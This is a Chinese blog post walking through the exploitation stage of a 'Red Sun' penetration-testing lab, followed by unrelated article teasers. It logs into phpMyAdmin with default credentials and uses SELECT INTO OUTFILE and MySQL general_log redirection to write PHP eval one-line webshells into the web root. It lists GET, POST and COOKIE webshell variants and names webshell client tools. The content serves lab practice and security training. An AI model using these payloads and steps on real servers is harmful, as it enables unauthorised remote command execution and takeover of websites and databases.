紅日靶場----(三)漏洞利用

上期已經信息收集階段已經完成,接下來是漏洞利用。

靶場思路

通過信息收集得到兩個吧靶場的思路

1、http://192.168.195.33/phpmyadmin/(數據庫的管理界面)

root/root

2、http://192.168.195.33/yxcms/index.php?r=admin/index/login(CMS的管理后臺)

admin/123456

登錄頁面和用戶名都有了

我們第一個思路通過phpmyadmin寫入一句話木馬

漏洞利用

首先登錄到phpmyadmin界面

在數據庫旁邊的SQL選項卡中是可以執行SQL語句的。

外觀設置中默認是英文,我們可以選擇改成簡體中文。

我們點擊SQL,檢查是否可以正常執行SQL語句。

發現這里可以正常執行SQL語句,可以不加分號;每執行一條命令記得要清除一下,不然會報錯,因為它無法執行兩條SQL語句。

select version();    //查詢數據庫的版本信息

phpmyadmin GetSHELL姿勢大全

方法1:使用select into outfile寫入shell

前提:需要知道網站目錄的絕對路徑
不足:常因為權限設置的問題容易失敗

這里我們是知道網站的根目錄的,肯定有人會問真實環境下怎么知道網站的根目錄啊,真實環境之下我們使用目錄枚舉進行爆破,或者來自站長的工作失誤導致留下了網站的備份文件,真實環境下思路很多。

我們寫入一句話木馬

報錯了,原來是因為權限的問題,看來開這方法行不通,那我們換一個。

這里的<?php eval ($_POST[cmd]);?>,是一句話木馬

什么是一句話木馬??一句話木馬是一般是指一段短小精悍的惡意代碼,這段代碼可以用作一個代理來執行攻擊者發送過來的任意指令,因其體積小、隱蔽性強、功能強大等特點,被廣泛應用于滲透過程中。

我們將一句話木馬寫入網站,形成了WebShell。

什么是WebShell?WebShell 就是以 ASP、 PHP、 JSP 或者 CGI 等網頁文件形式的一種命令執行環境,也可以將其稱做是一種網頁后門。

PHP木馬

客戶端向服務端傳遞參數有三種方式:GET、POST、COOKIE。

一句話木馬-webshell.php舉例

<?php @eval($_GET['cmd']);?><?php @eval($_POST['cmd']);?><?php assert($_COOKIE['cmd']);?>

基本的PHP用法

PHP 腳本以 <?php 開始,以 ?> 結束

<?php
//php代碼
?>

方法二:利用日志GET SHELL

既然權限不夠無法執行我們的SQL語句,那我們就換一種方法。

利用日志的方法

mysql 5.0版本以上會創建日志文件,可以通過修改日志的全局變量get shell。

查看日志文件的位置:

SHOW VARIABLES LIKE "%general%"

我們看到默認日志文件是沒有開啟的,我們知道了日志文件的位置。

那我們下一步就這個日志文件開啟,并且重新指定位置。

首先把日志文件打開

然后我們重新指定一下日志文件,這個文件是指定之后自動創建的。

SET GLOBAL general_log='on';  //開啟general_log
SET GLOBAL general_log_file='c:/phpStudy/www/webshell.php';  //自定義日志文件

我們在檢查一下這個日志文件是否打開了,并且重新指定文件位置了。

SHOW VARIABLES LIKE "%general%"

現在我們看到這個日志文件已經處于打開狀態,并且一直重新指定了位置。

我們打開Web主機看一下這個日志文件:

我們看到這已經變成了一個日志文件,我們執行一句話木馬:

ok了我們直接寫入成功。

select '<?php eval ($_POST["cmd"]);?>'

下面我們直接使用WebShell集成工具直接連接就可以了

WebShell集成工具有很多:

中國菜刀、蟻劍、冰蝎、哥斯拉

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/web/42949.shtml
繁體地址,請注明出處:http://hk.pswp.cn/web/42949.shtml
英文地址,請注明出處:http://en.pswp.cn/web/42949.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

阿里云通義千問開源兩款語音基座模型分別是SenseVoice和CosyVoice

阿里巴巴近期發布了開源語音大模型項目FunAudioLLM&#xff0c;該項目包含了兩個核心模型&#xff1a;SenseVoice和CosyVoice。可以精準多語言識別并且進行語音克隆。 SenseVoice&#xff1a;精準多語言識別與情感辨識 SenseVoice主要致力于高精度多語言語音識別、情感辨識和…

使用八股搭建神經網絡

神經網絡搭建八股 使用tf.keras 六步法搭建模型 1.import 2.train, test 指定輸入特征/標簽 3.model tf.keras.model.Sequential 在Squential,搭建神經網絡 4.model.compile 配置訓練方法&#xff0c;選擇哪種優化器、損失函數、評測指標 5.model.fit 執行訓練過程&a…

送給我親愛的Python

親愛的 Python&#xff0c; 在萬物皆代碼的世界里&#xff0c;你是我最優雅、最高效的算法。自從第一次遇見你&#xff0c;在那行“Hello, World!”之后&#xff0c;我的世界就被點亮了。你的簡潔性和強大的功能&#xff0c;讓我深深著迷&#xff0c;就像一個精心設計的函數&am…

數據結構雙向循環鏈表

主程序 #include "fun.h" int main(int argc, const char *argv[]) { double_p Hcreate_head(); insert_head(H,10); insert_head(H,20); insert_head(H,30); insert_head(H,40); insert_tail(H,50); show_link(H); del_tail(H); …

Python 傳遞參數和返回值

Python是一種功能強大的編程語言&#xff0c;它以其簡潔和易用性而廣受歡迎。在Python編程中&#xff0c;參數傳遞和返回值是函數調用中兩個非常重要的概念。理解這些概念對于編寫高效且可維護的代碼至關重要。 一、參數傳遞 在Python中&#xff0c;函數參數可以通過以下幾種…

Linux 網絡時間同步:NTP 與 Chrony 的終極對決

Linux 網絡時間同步&#xff1a;NTP 與 Chrony 的終極對決 在網絡世界中&#xff0c;時間同步是一項至關重要的任務。無論是確保分布式系統的一致性&#xff0c;還是維護安全協議的完整性&#xff0c;準確的時間同步都是必不可少的。網絡時間協議&#xff08;NTP&#xff09;和…

Golang期末作業之電子商城(源碼)

作品介紹 1.網頁作品簡介方面 &#xff1a;主要有&#xff1a;首頁 商品詳情 購物車 訂單 評價 支付 總共 5個頁面 2.作品使用的技術:這個作品基于Golang語言&#xff0c;并且結合一些前端的知識&#xff0c;例如:HTML、CSS、JS、AJAX等等知識點&#xff0c;同時連接數據庫的&…

統信UOS軟件包標識化工具deepin-sbom-tools使用

原文鏈接&#xff1a;統信UOS上使用軟件包標識化工具deepin-sbom-tools Hello&#xff0c;大家好啊&#xff01;今天給大家帶來一篇關于在統信UOS上使用軟件包標識化工具deepin-sbom-tools的文章。deepin-sbom-tools是一個強大的工具&#xff0c;可以幫助開發者和系統管理員更好…

Linux初始化新的git倉庫

1.在git服務器上找到項目常部署的git地址可以根據其他項目的git地址確認 例如ssh://git192.168.10.100/opt/git/repository.git 用戶名&#xff1a;git&#xff08;前面的是用戶&#xff09; 服務器地址&#xff1a;192.168.10.100 git倉庫路徑&#xff1a;/opt/git/ 2.在服務器…

數據結構之折半查找

折半查找的算法思想&#xff1a; 折半查找又稱二分查找&#xff0c;它僅僅適用于有序的順表。 折半查找的基本思想&#xff1a;首先將給定值key與表中中間位置的元素&#xff08;mid的指向元素&#xff09;比較。midlowhigh/2&#xff08;向下取整&#xff09; 若key與中間元…

C#—Json序列化和反序列化

C#—Json序列化和反序列化 在C#中&#xff0c;可以使用System.Web.Script.Serialization.JavaScriptSerializer類來序列化和反序列化JSON數據。 可以使用Newtonsoft.Json庫進行JSON的序列化。 可以使用.NET內置的System.Text.Json庫來進行JSON的序列化。 json文件格式 [ { …

搜索引擎優化培訓機構怎么選?這篇文章告訴你答案

搜索引擎優化&#xff08;SEO&#xff09;已成為網絡生存必備技能。然而面對眾多培訓機構&#xff0c;如何選擇優秀者&#xff1f;本文將為您揭曉此事&#xff0c;助您找到騰飛之地。 一、培訓機構的多樣性&#xff1a;琳瑯滿目的選擇 當前SEO培訓市場繁蕪復雜&#xff0c;既…

C++ 八股(1)

C語言中strcpy為什么不安全&#xff1f;如何解決&#xff1f; 主要原因是缺乏對輸入長度的邊界檢查&#xff0c;容易導致緩沖區溢出漏洞。 解決&#xff1a;可以使用strncpy函數替代&#xff0c;或者在程序最頂端加入代碼段 #define _CRT_SECURE_NO_WARNINGS 緩沖區溢出 …

javascript高級部分筆記

javascript高級部分 Function方法 與 函數式編程 call 語法&#xff1a;call([thisObj[,arg1[, arg2[, [,.argN]]]]]) 定義&#xff1a;調用一個對象的一個方法&#xff0c;以另一個對象替換當前對象。 說明&#xff1a;call 方法可以用來代替另一個對象調用一個方法。cal…

MySQL運維實戰之ProxySQL(9.5)proxysql和MySQL Group Replication配合使用

作者&#xff1a;俊達 如果后端MySQL使用了Group Replication&#xff0c;可通過配置mysql_group_replication_hostgroups表來實現高可用 1 mysql_group_replication_hostgroups 字段描述writer_hostgroup寫hostgroup。read_only和super_read_only OFF的節點。backup_writer…

Vue3 pdf.js將二進制文件流轉成pdf預覽

好久沒寫東西&#xff0c;19年之前寫過一篇Vue2將pdf二進制文件流轉換成pdf文件&#xff0c;如果Vue2換成Vue3了&#xff0c;順帶來一篇文章&#xff0c;pdf.js這個東西用來解決內網pdf預覽&#xff0c;是個不錯的選擇。 首先去pdfjs官網&#xff0c;下載需要的文件 然后將下載…

第4章 IT服務規劃設計

第4章 IT服務規劃設計 4.1 概述 規劃設計處于整個IT服務生命周期中的前端&#xff0c;可以幫助IT服務供方了解客戶的需求&#xff0c;并對其進行全面的需求分析&#xff0c;然后通過對服務要素&#xff08;包括人員、資源、技術和過程&#xff09;、服務模式和服務方案的具體…

OpenHarmony4.x 系統模擬器環境

先下載源碼和編譯程序&#xff1a; 首先查看 OpenHarmony4.1源碼下載、編譯&#xff0c;生成OHOS_Image可執行文件的最簡易流程 準備在QEMU模擬器中運行ARM Cortex-M4的輕型開源鴻蒙系統 官方支持的開發板和模擬器種類-編譯形態整體說明OpenAtom OpenHarmony 已支持的示例工…

ArduPilot開源代碼之AP_MSP

ArduPilot開源代碼之AP_MSP 1. 源由2. Library設計2.1 啟動代碼2.2 支持特性2.3 MSP DisplayPort v.s. DJI FPV OSD 3. 重要例程3.1 AP_MSP::init3.2 AP_MSP::loop3.3 AP_MSP::init_backend 4. 實例理解5. 總結6. 參考資料 1. 源由 AP_MSP是處理MSP協議格式的報文數據應用類。…

反向業務判斷邏輯

業務功能需求&#xff1a; 根據id扣減用戶余額 包括&#xff1a;判斷用戶狀態是否正常判斷用戶余額是否充足 正向邏輯&#xff1a; 判斷用戶為正常下&#xff0c;判斷用戶余額充足&#xff0c;進行余額扣減&#xff1b; 》正向邏輯&#xff0c;多重嵌套&#xff0c;代碼不美觀…